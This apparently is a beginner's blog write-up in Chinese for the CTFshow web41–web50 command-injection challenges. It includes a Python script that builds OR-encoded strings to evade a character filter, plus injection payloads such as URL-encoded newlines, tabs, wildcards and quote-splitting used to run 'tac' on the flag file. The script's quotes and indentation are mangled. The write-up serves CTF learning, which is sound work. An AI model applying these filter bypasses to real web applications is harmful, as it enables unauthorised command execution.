web41
这题太难了完全不是我这种web新手和编程新手能写的 甚至代码都看不懂 所以先用之后在理解
想了解入口:CTFshow wbe41 教你写脚本_ctfshow web41-CSDN博客

1.看见他把0-9和a-z过滤了直接懵逼

2.直接看大佬写的脚本(python脚本)
import re
import urllib
from urllib import parse
hex_i = “”
hex_j = “”
pattern=’/[0-9]|[a-z]|^|+|~|$|[|]|{|}|&|-/i’ #题目中过滤的内容
str1=[“system”,”tac fla“] #所需编码的内容
for p in range(2):
t1 = “”
t2 = “”
for k in str1[p]:
for i in range(256):
for j in range(256):
if re.search(pattern,chr(i)) :
break
if re.search(pattern,chr(j)) :
continue
if i < 16:
hex_i = “0” + hex(i)[2:]
else:
hex_i=hex(i)[2:]
if j < 16:
hex_j=”0”+hex(j)[2:]
else:
hex_j=hex(j)[2:]
hex_i=’%’+hex_i
hex_j=’%’+hex_j
c=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j)))
if(c ==k):
t1=t1+hex_i
t2=t2+hex_j
break
else:
continue
break
print(“("“+t1+”"|"“+t2+”")”)*
3.通过修改编码内容完成过滤 运行脚本(python file.py)

4.然后在抓包软件输入结果然后得到flag

先介绍知识:
”>/dev/null 2>&1“可以用;、||、%26、%0a过滤
更深原理入口:linux环境下运行脚本时常用>/dev/null 2>&1 &这一串的作用_>nul 2>&1-CSDN博客
web42

进入后发现没有过滤只有”>/dev/null 2>&1“

然后利用上面的绕过得到flag
web43

进入后看到多了两个过滤;和cat
cat可用tac代替
;可用%0a等代替

如

web44
与web43相比 多了flag过滤
可以用*或?过滤
**:匹配0个或多个字符 如:fla *
?是匹配1和字符 如:fla?.php
所以直接改造 : ?c=tac fla?php%0a
web45

发现比上一题多过滤了空格
空格可以用%09等代替

构造:?c=tac%09fla*%0a
web46

这次多过滤了*和0-9
但%09和%0a是url 而0-9数字不包括url编码的数字
所以这次只需要和前面web45修改用?过滤

构造:?c=tac%09fla?.php%0a
web47和web48
和web46一样 新的过滤不影响
web49

虽然过滤了% 但是不包括url编码的%
所以构造相同
web50
发现过滤了%09和%26

%09用<>代替
%26用||代替
但我不知道为啥**匹配符合?**不可以用了
所以把fla?.php改为fla\g.php或者fla’’g.php
构造:?c=tac<>fla\g.php||或者?c=tac<>fla’’g.php||